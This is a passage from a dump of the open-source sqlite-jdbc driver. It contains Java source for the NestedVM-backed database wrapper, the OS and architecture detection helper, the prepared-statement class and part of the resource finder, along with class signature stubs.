    private void copyin(int, byte[], int) throws java.sql.SQLException;
    private void copyout(byte[], int, int) throws java.sql.SQLException;
}
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org/sqlite/NestedDB.java


/*



 * Copyright (c) 2007 David Crawshaw <david@zentus.com>



 * 



 * Permission to use, copy, modify, and/or distribute this software for any



 * purpose with or without fee is hereby granted, provided that the above



 * copyright notice and this permission notice appear in all copies.



 * 



 * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES



 * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF



 * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR



 * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES



 * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN



 * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF



 * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.



 */



package org.sqlite;







import java.io.PrintWriter;



import java.sql.SQLException;







import org.ibex.nestedvm.Runtime;







// FEATURE: strdup is wasteful, SQLite interface will take unterminated char*







/** Communicates with the Java version of SQLite provided by NestedVM. */



final class NestedDB extends DB implements Runtime.CallJavaCB



{



    /** database pointer */



    int                handle    = 0;







    /** sqlite binary embedded in nestedvm */



    private Runtime    rt        = null;







    /** user defined functions referenced by position (stored in used data) */



    private Function[] functions = null;



    private String[]   funcNames = null;







    // WRAPPER FUNCTIONS ////////////////////////////////////////////







    @Override



    protected synchronized void _open(String filename, int openFlags) throws SQLException {



        if (handle != 0)



            throw new SQLException("DB already open");







        // handle silly windows drive letter mapping



        if (filename.length() > 2) {



            char drive = Character.toLowerCase(filename.charAt(0));



            if (filename.charAt(1) == ':' && drive >= 'a' && drive <= 'z') {







                // convert to nestedvm's "/c:/file" format



                filename = filename.substring(2);



                filename = filename.replace('\\', '/');



                filename = "/" + drive + ":" + filename;



            }



        }







        // start the nestedvm runtime



        try {



            rt = (Runtime) Class.forName("org.sqlite.SQLite").newInstance();



            rt.start();



        }



        catch (Exception e) {



            throw new CausedSQLException(e);



        }







        // callback for user defined functions



        rt.setCallJavaCB(this);







        // open the db and retrieve sqlite3_db* pointer



        int passback = rt.xmalloc(4);



        int str = rt.strdup(filename);



        //      if (call("sqlite3_open_v2", str, openFlags, 0, passback) != SQLITE_OK)



        if (call("sqlite3_open_v2", str, passback, openFlags, 0) != SQLITE_OK)



            throwex();



        handle = deref(passback);



        rt.free(str);



        rt.free(passback);



    }







    /* callback for Runtime.CallJavaCB above */



    public int call(int xType, int context, int args, int value) {



        xUDF(xType, context, args, value);



        return 0;



    }







    @Override



    protected synchronized void _close() throws SQLException {



        if (handle == 0)



            return;



        try {



            if (call("sqlite3_close", handle) != SQLITE_OK)



                throwex();



        }



        finally {



            handle = 0;



            rt.stop();



            rt = null;



        }



    }







    @Override



    int shared_cache(boolean enable) throws SQLException {



        // The shared cache is per-process, so it is useless as



        // each nested connection is its own process.



        return -1;



    }







    @Override



    int enable_load_extension(boolean enable) throws SQLException {



        // TODO enable_load_extension is not supported  in pure-java mode



        //return call("sqlite3_enable_load_extension", handle, enable ? 1 : 0);



        return 1;



    }







    @Override



    synchronized void interrupt() throws SQLException {



        call("sqlite3_interrupt", handle);



    }







    @Override



    synchronized void busy_timeout(int ms) throws SQLException {



        call("sqlite3_busy_timeout", handle, ms);



    }







    @Override



    protected synchronized long prepare(String sql) throws SQLException {







        int passback = rt.xmalloc(4);



        int str = rt.strdup(sql);



        int ret = call("sqlite3_prepare_v2", handle, str, -1, passback, 0);



        rt.free(str);



        if (ret != SQLITE_OK) {



            rt.free(passback);



            throwex(ret);



        }



        int pointer = deref(passback);



        rt.free(passback);



        return pointer;



    }







    @Override



    synchronized String errmsg() throws SQLException {



        return cstring(call("sqlite3_errmsg", handle));



    }







    @Override



    synchronized String libversion() throws SQLException {



        return cstring(call("sqlite3_libversion", handle));



    }







    @Override



    synchronized int changes() throws SQLException {



        return call("sqlite3_changes", handle);



    }







    @Override



    protected synchronized int _exec(String sql) throws SQLException {



        if (rt == null)



            throw DB.newSQLException(SQLiteErrorCode.SQLITE_MISUSE.code, "attempt to use the closed conection");



        int passback = rt.xmalloc(4);



        int str = rt.strdup(sql);



        int status = call("sqlite3_exec", handle, str, 0, 0, passback);



        if (status != SQLITE_OK) {



            String errorMessage = cstring(passback);



            call("sqlite3_free", deref(passback));



            rt.free(passback);



            throwex(status, errorMessage);



        }



        rt.free(passback);



        return status;



    }







    @Override



    protected synchronized int finalize(long stmt) throws SQLException {



        return call("sqlite3_finalize", (int) stmt);



    }







    @Override



    protected synchronized int step(long stmt) throws SQLException {



        return call("sqlite3_step", (int) stmt);



    }







    @Override



    protected synchronized int reset(long stmt) throws SQLException {



        return call("sqlite3_reset", (int) stmt);



    }







    @Override



    synchronized int clear_bindings(long stmt) throws SQLException {



        return call("sqlite3_clear_bindings", (int) stmt);



    }







    @Override



    synchronized int bind_parameter_count(long stmt) throws SQLException {



        return call("sqlite3_bind_parameter_count", (int) stmt);



    }







    @Override



    synchronized int column_count(long stmt) throws SQLException {



        return call("sqlite3_column_count", (int) stmt);



    }







    @Override



    synchronized int column_type(long stmt, int col) throws SQLException {



        return call("sqlite3_column_type", (int) stmt, col);



    }







    @Override



    synchronized String column_name(long stmt, int col) throws SQLException {



        return utfstring(call("sqlite3_column_name", (int) stmt, col));



    }







    @Override



    synchronized String column_text(long stmt, int col) throws SQLException {



        return utfstring(call("sqlite3_column_text", (int) stmt, col));



    }







    @Override



    synchronized byte[] column_blob(long stmt, int col) throws SQLException {



        int addr = call("sqlite3_column_blob", (int) stmt, col);



        if (addr == 0)



            return null;



        byte[] blob = new byte[call("sqlite3_column_bytes", (int) stmt, col)];



        copyin(addr, blob, blob.length);



        return blob;



    }







    @Override



    synchronized double column_double(long stmt, int col) throws SQLException {



        try {



            return Double.parseDouble(column_text(stmt, col));



        }



        catch (NumberFormatException e) {



            return Double.NaN;



        } // TODO



    }







    @Override



    synchronized long column_long(long stmt, int col) throws SQLException {



        try {



            return Long.parseLong(column_text(stmt, col));



        }



        catch (NumberFormatException e) {



            return 0;



        } // TODO



    }







    @Override



    synchronized int column_int(long stmt, int col) throws SQLException {



        return call("sqlite3_column_int", (int) stmt, col);



    }







    @Override



    synchronized String column_decltype(long stmt, int col) throws SQLException {



        return utfstring(call("sqlite3_column_decltype", (int) stmt, col));



    }







    @Override



    synchronized String column_table_name(long stmt, int col) throws SQLException {



        return utfstring(call("sqlite3_column_table_name", (int) stmt, col));



    }







    @Override



    synchronized int bind_null(long stmt, int pos) throws SQLException {



        return call("sqlite3_bind_null", (int) stmt, pos);



    }







    @Override



    synchronized int bind_int(long stmt, int pos, int v) throws SQLException {



        return call("sqlite3_bind_int", (int) stmt, pos, v);



    }







    @Override



    synchronized int bind_long(long stmt, int pos, long v) throws SQLException {



        return bind_text(stmt, pos, Long.toString(v)); // TODO



    }







    @Override



    synchronized int bind_double(long stmt, int pos, double v) throws SQLException {



        return bind_text(stmt, pos, Double.toString(v)); // TODO



    }







    @Override



    synchronized int bind_text(long stmt, int pos, String v) throws SQLException {



        if (v == null)



            return bind_null(stmt, pos);



        return call("sqlite3_bind_text", (int) stmt, pos, rt.strdup(v), -1, rt.lookupSymbol("free"));



    }







    @Override



    synchronized int bind_blob(long stmt, int pos, byte[] buf) throws SQLException {



        if (buf == null || buf.length < 1)



            return bind_null(stmt, pos);



        int len = buf.length;



        int blob = rt.xmalloc(len); // free()ed by sqlite3_bind_blob



        copyout(buf, blob, len);



        return call("sqlite3_bind_blob", (int) stmt, pos, blob, len, rt.lookupSymbol("free"));



    }







    @Override



    synchronized void result_null(long cxt) throws SQLException {



        call("sqlite3_result_null", (int) cxt);



    }







    @Override



    synchronized void result_text(long cxt, String val) throws SQLException {



        call("sqlite3_result_text", (int) cxt, rt.strdup(val), -1, rt.lookupSymbol("free"));



    }







    @Override



    synchronized void result_blob(long cxt, byte[] val) throws SQLException {



        if (val == null || val.length == 0) {



            result_null(cxt);



            return;



        }



        int blob = rt.xmalloc(val.length);



        copyout(val, blob, val.length);



        call("sqlite3_result_blob", (int) cxt, blob, val.length, rt.lookupSymbol("free"));



    }







    @Override



    synchronized void result_double(long cxt, double val) throws SQLException {



        result_text(cxt, Double.toString(val));



    } // TODO







    @Override



    synchronized void result_long(long cxt, long val) throws SQLException {



        result_text(cxt, Long.toString(val));



    } // TODO







    @Override



    synchronized void result_int(long cxt, int val) throws SQLException {



        call("sqlite3_result_int", (int) cxt, val);



    }







    @Override



    synchronized void result_error(long cxt, String err) throws SQLException {



        int str = rt.strdup(err);



        call("sqlite3_result_error", (int) cxt, str, -1);



        rt.free(str);



    }







    @Override



    synchronized int value_bytes(Function f, int arg) throws SQLException {



        return call("sqlite3_value_bytes", value(f, arg));



    }







    @Override



    synchronized String value_text(Function f, int arg) throws SQLException {



        return utfstring(call("sqlite3_value_text", value(f, arg)));



    }







    @Override



    synchronized byte[] value_blob(Function f, int arg) throws SQLException {



        int addr = call("sqlite3_value_blob", value(f, arg));



        if (addr == 0)



            return null;



        byte[] blob = new byte[value_bytes(f, arg)];



        copyin(addr, blob, blob.length);



        return blob;



    }







    @Override



    synchronized double value_double(Function f, int arg) throws SQLException {



        return Double.parseDouble(value_text(f, arg)); // TODO



    }







    @Override



    synchronized long value_long(Function f, int arg) throws SQLException {



        return Long.parseLong(value_text(f, arg)); // TODO



    }







    @Override



    synchronized int value_int(Function f, int arg) throws SQLException {



        return call("sqlite3_value_int", value(f, arg));



    }







    @Override



    synchronized int value_type(Function f, int arg) throws SQLException {



        return call("sqlite3_value_type", value(f, arg));



    }







    private int value(Function f, int arg) throws SQLException {



        return deref((int) f.value + (arg * 4));



    }







    @Override



    synchronized int create_function(String name, Function func) throws SQLException {



        if (functions == null) {



            functions = new Function[10];



            funcNames = new String[10];



        }







        // find a position



        int pos;



        for (pos = 0; pos < functions.length; pos++)



            if (functions[pos] == null)



                break;







        if (pos == functions.length) { // expand function arrays



            Function[] fnew = new Function[functions.length * 2];



            String[] nnew = new String[funcNames.length * 2];



            System.arraycopy(functions, 0, fnew, 0, functions.length);



            System.arraycopy(funcNames, 0, nnew, 0, funcNames.length);



            functions = fnew;



            funcNames = nnew;



        }







        // register function



        functions[pos] = func;



        funcNames[pos] = name;



        int rc;



        int str = rt.strdup(name);



        rc = call("create_function_helper", handle, str, pos, func instanceof Function.Aggregate ? 1 : 0);



        rt.free(str);



        return rc;



    }







    @Override



    synchronized int destroy_function(String name) throws SQLException {



        if (name == null)



            return 0;







        // find function position number



        int pos;



        for (pos = 0; pos < funcNames.length; pos++)



            if (name.equals(funcNames[pos]))



                break;



        if (pos == funcNames.length)



            return 0;







        functions[pos] = null;



        funcNames[pos] = null;







        // deregister function



        int rc;



        int str = rt.strdup(name);



        rc = call("create_function_helper", handle, str, -1, 0);



        rt.free(str);



        return rc;



    }







    /* unused as we use the user_data pointer to store a single word */



    @Override



    synchronized void free_functions() {}







    /** Callback used by xFunc (1), xStep (2) and xFinal (3). */



    synchronized void xUDF(int xType, int context, int args, int value) {



        Function func = null;







        try {



            int pos = call("sqlite3_user_data", context);



            func = functions[pos];



            if (func == null)



                throw new SQLException("function state inconsistent");







            func.context = context;



            func.value = value;



            func.args = args;







            switch (xType) {



            case 1:



                func.xFunc();



                break;



            case 2:



                ((Function.Aggregate) func).xStep();



                break;



            case 3:



                ((Function.Aggregate) func).xFinal();



                break;



            }



        }



        catch (SQLException e) {



            try {



                String err = e.toString();



                if (err == null)



                    err = "unknown error";



                int str = rt.strdup(err);



                call("sqlite3_result_error", context, str, -1);



                rt.free(str);



            }



            catch (SQLException exp) {



                exp.printStackTrace();//TODO



            }



        }



        finally {



            if (func != null) {



                func.context = 0;



                func.value = 0;



                func.args = 0;



            }



        }



    }







    /** Calls support function found in upstream/sqlite-metadata.patch */



    @Override



    synchronized boolean[][] column_metadata(long stmt) throws SQLException {



        int colCount = call("sqlite3_column_count", (int) stmt);



        boolean[][] meta = new boolean[colCount][3];



        int pass;







        pass = rt.xmalloc(12); // struct metadata







        for (int i = 0; i < colCount; i++) {



            call("column_metadata_helper", handle, (int) stmt, i, pass);



            meta[i][0] = deref(pass) == 1;



            meta[i][1] = deref(pass + 4) == 1;



            meta[i][2] = deref(pass + 8) == 1;



        }







        rt.free(pass);



        return meta;



    }







    @Override



    int backup(String dbName, String destFileName, ProgressObserver observer) throws SQLException {



        throw new SQLException("backup command is not supported in pure-java mode");



    }







    @Override



    int restore(String dbName, String sourceFileName, ProgressObserver observer) throws SQLException {



        throw new SQLException("restore command is not supported in pure-java mode");



    }







    // HELPER FUNCTIONS /////////////////////////////////////////////







    /** safe to reuse parameter arrays as all functions are syncrhonized */



    private final int[] p0 = new int[] {}, p1 = new int[] { 0 }, p2 = new int[] { 0, 0 }, p3 = new int[] { 0, 0, 0 },



            p4 = new int[] { 0, 0, 0, 0 }, p5 = new int[] { 0, 0, 0, 0, 0 };







    private int call(String addr, int a0) throws SQLException {



        p1[0] = a0;



        return call(addr, p1);



    }







    private int call(String addr, int a0, int a1) throws SQLException {



        p2[0] = a0;



        p2[1] = a1;



        return call(addr, p2);



    }







    private int call(String addr, int a0, int a1, int a2) throws SQLException {



        p3[0] = a0;



        p3[1] = a1;



        p3[2] = a2;



        return call(addr, p3);



    }







    private int call(String addr, int a0, int a1, int a2, int a3) throws SQLException {



        p4[0] = a0;



        p4[1] = a1;



        p4[2] = a2;



        p4[3] = a3;



        return call(addr, p4);



    }







    private int call(String addr, int a0, int a1, int a2, int a3, int a4) throws SQLException {



        p5[0] = a0;



        p5[1] = a1;



        p5[2] = a2;



        p5[3] = a3;



        p5[4] = a4;



        return call(addr, p5);



    }







    private int call(String func, int[] args) throws SQLException {



        try {



            return rt.call(func, args);



        }



        catch (Runtime.CallException e) {



            throw new CausedSQLException(e);



        }



    }







    /** Dereferences a pointer, returning the word it points to. */



    private int deref(int pointer) throws SQLException {



        try {



            return rt.memRead(pointer);



        }



        catch (Runtime.ReadFaultException e) {



            throw new CausedSQLException(e);



        }



    }







    private String utfstring(int str) throws SQLException {



        try {



            return rt.utfstring(str);



        }



        catch (Runtime.ReadFaultException e) {



            throw new CausedSQLException(e);



        }



    }







    private String cstring(int str) throws SQLException {



        try {



            return rt.cstring(str);



        }



        catch (Runtime.ReadFaultException e) {



            throw new CausedSQLException(e);



        }



    }







    private void copyin(int addr, byte[] buf, int count) throws SQLException {



        try {



            rt.copyin(addr, buf, count);



        }



        catch (Runtime.ReadFaultException e) {



            throw new CausedSQLException(e);



        }



    }







    private void copyout(byte[] buf, int addr, int count) throws SQLException {



        try {



            rt.copyout(buf, addr, count);



        }



        catch (Runtime.FaultException e) {



            throw new CausedSQLException(e);



        }



    }







    /** Maps any exception onto an SQLException. */



    private static final class CausedSQLException extends SQLException



    {



        private final Exception cause;







        CausedSQLException(Exception e) {



            if (e == null)



                throw new RuntimeException("null exception cause");



            cause = e;



        }







        @Override



        public Throwable getCause() {



            return cause;



        }







        @Override



        public void printStackTrace() {



            cause.printStackTrace();



        }







        @Override



        public void printStackTrace(PrintWriter s) {



            cause.printStackTrace(s);



        }







        @Override



        public Throwable fillInStackTrace() {



            return cause.fillInStackTrace();



        }







        @Override



        public StackTraceElement[] getStackTrace() {



            return cause.getStackTrace();



        }







        @Override



        public String getMessage() {



            return cause.getMessage();



        }



    }



}










org/sqlite/OSInfo.class


package org.sqlite;
public synchronized class OSInfo {
    public void OSInfo();
    public static void main(String[]);
    public static String getNativeLibFolderPathForCurrentOS();
    public static String getOSName();
    public static String getArchName();
    public static String translateOSNameToFolderName(String);
    public static String translateArchNameToFolderName(String);
}










org/sqlite/OSInfo.java



org/sqlite/OSInfo.java


/*--------------------------------------------------------------------------



 *  Copyright 2008 Taro L. Saito



 *



 *  Licensed under the Apache License, Version 2.0 (the "License");



 *  you may not use this file except in compliance with the License.



 *  You may obtain a copy of the License at



 *



 *     http://www.apache.org/licenses/LICENSE-2.0



 *



 *  Unless required by applicable law or agreed to in writing, software



 *  distributed under the License is distributed on an "AS IS" BASIS,



 *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.



 *  See the License for the specific language governing permissions and



 *  limitations under the License.



 *--------------------------------------------------------------------------*/



//--------------------------------------



// sqlite-jdbc Project



//



// OSInfo.java



// Since: May 20, 2008



//



// $URL$ 



// $Author$



//--------------------------------------



package org.sqlite;







/**



 * Provides OS name and architecture name.



 * 



 * @author leo



 * 



 */



public class OSInfo



{



    public static void main(String[] args) {



        if (args.length >= 1) {



            if ("--os".equals(args[0])) {



                System.out.print(getOSName());



                return;



            }



            else if ("--arch".equals(args[0])) {



                System.out.print(getArchName());



                return;



            }



        }







        System.out.print(getNativeLibFolderPathForCurrentOS());



    }







    public static String getNativeLibFolderPathForCurrentOS() {



        return getOSName() + "/" + getArchName();



    }







    public static String getOSName() {



        return translateOSNameToFolderName(System.getProperty("os.name"));



    }







    public static String getArchName() {



        return translateArchNameToFolderName(System.getProperty("os.arch"));



    }







    public static String translateOSNameToFolderName(String osName) {



        if (osName.contains("Windows")) {



            return "Windows";



        }



        else if (osName.contains("Mac")) {



            return "Mac";



        }



        else if (osName.contains("Linux")) {



            return "Linux";



        }



        else {



            return osName.replaceAll("\\W", "");



        }



    }







    public static String translateArchNameToFolderName(String archName) {



        return archName.replaceAll("\\W", "");



    }



}










org/sqlite/PrepStmt.class


package org.sqlite;
final synchronized class PrepStmt extends Stmt implements java.sql.PreparedStatement, java.sql.ParameterMetaData, Codes {
    private int columnCount;
    private int paramCount;
    void PrepStmt(Conn, String) throws java.sql.SQLException;
    public void clearParameters() throws java.sql.SQLException;
    protected void finalize() throws java.sql.SQLException;
    public boolean execute() throws java.sql.SQLException;
    public java.sql.ResultSet executeQuery() throws java.sql.SQLException;
    public int executeUpdate() throws java.sql.SQLException;
    public int[] executeBatch() throws java.sql.SQLException;
    public int getUpdateCount() throws java.sql.SQLException;
    public void addBatch() throws java.sql.SQLException;
    public java.sql.ParameterMetaData getParameterMetaData();
    public int getParameterCount() throws java.sql.SQLException;
    public String getParameterClassName(int) throws java.sql.SQLException;
    public String getParameterTypeName(int);
    public int getParameterType(int);
    public int getParameterMode(int);
    public int getPrecision(int);
    public int getScale(int);
    public int isNullable(int);
    public boolean isSigned(int);
    public java.sql.Statement getStatement();
    private void batch(int, Object) throws java.sql.SQLException;
    public void setBoolean(int, boolean) throws java.sql.SQLException;
    public void setByte(int, byte) throws java.sql.SQLException;
    public void setBytes(int, byte[]) throws java.sql.SQLException;
    public void setDouble(int, double) throws java.sql.SQLException;
    public void setFloat(int, float) throws java.sql.SQLException;
    public void setInt(int, int) throws java.sql.SQLException;
    public void setLong(int, long) throws java.sql.SQLException;
    public void setNull(int, int) throws java.sql.SQLException;
    public void setNull(int, int, String) throws java.sql.SQLException;
    public void setObject(int, Object) throws java.sql.SQLException;
    public void setObject(int, Object, int) throws java.sql.SQLException;
    public void setObject(int, Object, int, int) throws java.sql.SQLException;
    public void setShort(int, short) throws java.sql.SQLException;
    public void setString(int, String) throws java.sql.SQLException;
    public void setCharacterStream(int, java.io.Reader, int) throws java.sql.SQLException;
    public void setDate(int, java.sql.Date) throws java.sql.SQLException;
    public void setDate(int, java.sql.Date, java.util.Calendar) throws java.sql.SQLException;
    public void setTime(int, java.sql.Time) throws java.sql.SQLException;
    public void setTime(int, java.sql.Time, java.util.Calendar) throws java.sql.SQLException;
    public void setTimestamp(int, java.sql.Timestamp) throws java.sql.SQLException;
    public void setTimestamp(int, java.sql.Timestamp, java.util.Calendar) throws java.sql.SQLException;
    public java.sql.ResultSetMetaData getMetaData() throws java.sql.SQLException;
    public boolean execute(String) throws java.sql.SQLException;
    public int executeUpdate(String) throws java.sql.SQLException;
    public java.sql.ResultSet executeQuery(String) throws java.sql.SQLException;
    public void addBatch(String) throws java.sql.SQLException;
    private java.sql.SQLException unused();
}










org/sqlite/PrepStmt.java



org/sqlite/PrepStmt.java


/*



 * Copyright (c) 2007 David Crawshaw <david@zentus.com>



 * 



 * Permission to use, copy, modify, and/or distribute this software for any



 * purpose with or without fee is hereby granted, provided that the above



 * copyright notice and this permission notice appear in all copies.



 * 



 * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES



 * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF



 * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR



 * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES



 * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN



 * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF



 * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.



 */







package org.sqlite;







import java.io.IOException;



import java.io.Reader;



import java.sql.Date;



import java.sql.ParameterMetaData;



import java.sql.PreparedStatement;



import java.sql.ResultSet;



import java.sql.ResultSetMetaData;



import java.sql.SQLException;



import java.sql.Statement;



import java.sql.Time;



import java.sql.Timestamp;



import java.sql.Types;



import java.util.Calendar;







final class PrepStmt extends Stmt implements PreparedStatement, ParameterMetaData, Codes



{



    private int columnCount;



    private int paramCount;







    PrepStmt(Conn conn, String sql) throws SQLException {



        super(conn);







        this.sql = sql;



        db.prepare(this);



        rs.colsMeta = db.column_names(pointer);



        columnCount = db.column_count(pointer);



        paramCount = db.bind_parameter_count(pointer);



        batch = new Object[paramCount];



        batchPos = 0;



    }







    public void clearParameters() throws SQLException {



        checkOpen();



        db.reset(pointer);



        clearBatch();



    }







    @Override



    protected void finalize() throws SQLException {



        close();



    }







    public boolean execute() throws SQLException {



        checkOpen();



        rs.close();



        db.reset(pointer);



        resultsWaiting = db.execute(this, batch);



        return columnCount != 0;



    }







    public ResultSet executeQuery() throws SQLException {



        checkOpen();



        if (columnCount == 0)



            throw new SQLException("query does not return results");



        rs.close();



        db.reset(pointer);



        resultsWaiting = db.execute(this, batch);



        return getResultSet();



    }







    public int executeUpdate() throws SQLException {



        checkOpen();



        if (columnCount != 0)



            throw new SQLException("query returns results");



        rs.close();



        db.reset(pointer);



        return db.executeUpdate(this, batch);



    }







    @Override



    public int[] executeBatch() throws SQLException {



        if (batchPos == 0)



            return new int[] {};



        try {



            return db.executeBatch(pointer, batchPos / paramCount, batch);



        }



        finally {



            clearBatch();



        }



    }







    @Override



    public int getUpdateCount() throws SQLException {



        checkOpen();



        if (pointer == 0 || resultsWaiting)



            return -1;



        return db.changes();



    }







    public void addBatch() throws SQLException {



        checkOpen();



        batchPos += paramCount;



        if (batchPos + paramCount > batch.length) {



            Object[] nb = new Object[batch.length * 2];



            System.arraycopy(batch, 0, nb, 0, batch.length);



            batch = nb;



        }



        System.arraycopy(batch, batchPos - paramCount, batch, batchPos, paramCount);



    }







    // ParameterMetaData FUNCTIONS //////////////////////////////////







    public ParameterMetaData getParameterMetaData() {



        return this;



    }







    public int getParameterCount() throws SQLException {



        checkOpen();



        return paramCount;



    }







    public String getParameterClassName(int param) throws SQLException {



        checkOpen();



        return "java.lang.String";



    }







    public String getParameterTypeName(int pos) {



        return "VARCHAR";



    }







    public int getParameterType(int pos) {



        return Types.VARCHAR;



    }







    public int getParameterMode(int pos) {



        return parameterModeIn;



    }







    public int getPrecision(int pos) {



        return 0;



    }







    public int getScale(int pos) {



        return 0;



    }







    public int isNullable(int pos) {



        return parameterNullable;



    }







    public boolean isSigned(int pos) {



        return true;



    }







    public Statement getStatement() {



        return this;



    }







    // PARAMETER FUNCTIONS //////////////////////////////////////////







    private void batch(int pos, Object value) throws SQLException {



        checkOpen();



        if (batch == null)



            batch = new Object[paramCount];



        batch[batchPos + pos - 1] = value;



    }







    public void setBoolean(int pos, boolean value) throws SQLException {



        setInt(pos, value ? 1 : 0);



    }







    public void setByte(int pos, byte value) throws SQLException {



        setInt(pos, value);



    }







    public void setBytes(int pos, byte[] value) throws SQLException {



        batch(pos, value);



    }







    public void setDouble(int pos, double value) throws SQLException {



        batch(pos, new Double(value));



    }







    public void setFloat(int pos, float value) throws SQLException {



        batch(pos, new Float(value));



    }







    public void setInt(int pos, int value) throws SQLException {



        batch(pos, new Integer(value));



    }







    public void setLong(int pos, long value) throws SQLException {



        batch(pos, new Long(value));



    }







    public void setNull(int pos, int u1) throws SQLException {



        setNull(pos, u1, null);



    }







    public void setNull(int pos, int u1, String u2) throws SQLException {



        batch(pos, null);



    }







    public void setObject(int pos, Object value) throws SQLException {



        if (value == null)



            batch(pos, null);



        else if (value instanceof java.util.Date)



            batch(pos, new Long(((java.util.Date) value).getTime()));



        else if (value instanceof Date)



            batch(pos, new Long(((Date) value).getTime()));



        else if (value instanceof Time)



            batch(pos, new Long(((Time) value).getTime()));



        else if (value instanceof Timestamp)



            batch(pos, new Long(((Timestamp) value).getTime()));



        else if (value instanceof Long)



            batch(pos, value);



        else if (value instanceof Integer)



            batch(pos, value);



        else if (value instanceof Short)



            batch(pos, new Integer(((Short) value).intValue()));



        else if (value instanceof Float)



            batch(pos, value);



        else if (value instanceof Double)



            batch(pos, value);



        else if (value instanceof Boolean)



            setBoolean(pos, ((Boolean) value).booleanValue());



        else if (value instanceof byte[])



            batch(pos, value);



        else



            batch(pos, value.toString());



    }







    public void setObject(int p, Object v, int t) throws SQLException {



        setObject(p, v);



    }







    public void setObject(int p, Object v, int t, int s) throws SQLException {



        setObject(p, v);



    }







    public void setShort(int pos, short value) throws SQLException {



        setInt(pos, value);



    }







    public void setString(int pos, String value) throws SQLException {



        batch(pos, value);



    }







    public void setCharacterStream(int pos, Reader reader, int length) throws SQLException {



        try {



            // copy chars from reader to StringBuffer



            StringBuffer sb = new StringBuffer();



            char[] cbuf = new char[8192];



            int cnt;







            while ((cnt = reader.read(cbuf)) > 0) {



                sb.append(cbuf, 0, cnt);



            }







            // set as string



            setString(pos, sb.toString());



        }



        catch (IOException e) {



            throw new SQLException("Cannot read from character stream, exception message: " + e.getMessage());



        }



    }







    public void setDate(int pos, Date x) throws SQLException {



        setObject(pos, x);



    }







    public void setDate(int pos, Date x, Calendar cal) throws SQLException {



        setObject(pos, x);



    }







    public void setTime(int pos, Time x) throws SQLException {



        setObject(pos, x);



    }







    public void setTime(int pos, Time x, Calendar cal) throws SQLException {



        setObject(pos, x);



    }







    public void setTimestamp(int pos, Timestamp x) throws SQLException {



        setObject(pos, x);



    }







    public void setTimestamp(int pos, Timestamp x, Calendar cal) throws SQLException {



        setObject(pos, x);



    }







    public ResultSetMetaData getMetaData() throws SQLException {



        checkOpen();



        return rs;



    }







    // UNUSED ///////////////////////////////////////////////////////







    @Override



    public boolean execute(String sql) throws SQLException {



        throw unused();



    }







    @Override



    public int executeUpdate(String sql) throws SQLException {



        throw unused();



    }







    @Override



    public ResultSet executeQuery(String sql) throws SQLException {



        throw unused();



    }







    @Override



    public void addBatch(String sql) throws SQLException {



        throw unused();



    }







    private SQLException unused() {



        return new SQLException("not supported by PreparedStatment");



    }



}










org/sqlite/ResourceFinder.class


package org.sqlite;
public synchronized class ResourceFinder {
    public void ResourceFinder();
    public static java.net.URL find(Class, String);
    public static java.net.URL find(ClassLoader, Package, String);
    public static java.net.URL find(ClassLoader, String, String);
    private static String packagePath(Class);
    private static String packagePath(Package);
    private static String packagePath(String);
}










org/sqlite/ResourceFinder.java



org/sqlite/ResourceFinder.java


/*--------------------------------------------------------------------------



 *  Copyright 2009 Taro L. Saito



 *



 *  Licensed under the Apache License, Version 2.0 (the "License");



 *  you may not use this file except in compliance with the License.



 *  You may obtain a copy of the License at



 *



 *     http://www.apache.org/licenses/LICENSE-2.0



 *



 *  Unless required by applicable law or agreed to in writing, software



 *  distributed under the License is distributed on an "AS IS" BASIS,



 *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.



 *  See the License for the specific language governing permissions and



 *  limitations under the License.



 *--------------------------------------------------------------------------*/



//--------------------------------------



// sqlite-jdbc Project



//



// ResourceFinder.java



// Since: Apr 28, 2009



//



// $URL$ 



// $Author$



//--------------------------------------



package org.sqlite;







import java.net.URL;







/**



 * Resource address finder for files inside the jar file



 * 



 * @author leo



 * 



 */



public class ResourceFinder



{



    /**



     * Gets the {@link URL} of the file resource



     * 



     * @param referenceClass



     *            the base class for finding resources files. This method will



     *            search the package containing the given referenceClass.



     * @param resourceFileName



     *            the resource file name relative to the package of the



     *            referenceClass



     * @return the URL of the file resource



     */



    public static URL find(Class< ? > referenceClass, String resourceFileName)



    {



        return find(referenceClass.getClassLoader(), referenceClass.getPackage(), resourceFileName);



    }







    /**



     * Finds the {@link URL} of the resource



     * 



     * @param basePackage



     *            the base package to find the resource



     * @param resourceFileName



     *            the resource file name relative to the package folder



     * @return the URL of the specified resource



     */



    public static URL find(ClassLoader classLoader, Package basePackage, String resourceFileName)



    {



        return find(classLoader, basePackage.getName(), resourceFileName);



    }







    /**



     * Finds the {@link URL} of the resource



     * 



     * @param packageName



     *            the base package name to find the resource



     * @param resourceFileName



     *            the resource file name relative to the package folder



     * @return the URL of the specified resource



     */



    public static URL find(ClassLoader classLoader, String packageName, String resourceFileName)



    {



        String packagePath = packagePath(packageName);



        String resourcePath = packagePath + resourceFileName;



        if (!resourcePath.startsWith("/"))



            resourcePath = "/" + resourcePath;







        return classLoader.getResource(resourcePath);



    }







    private static String packagePath(Class< ? > referenceClass)



    {



        return packagePath(referenceClass.getPackage());



    }







    private static String packagePath(Package basePackage)



    {



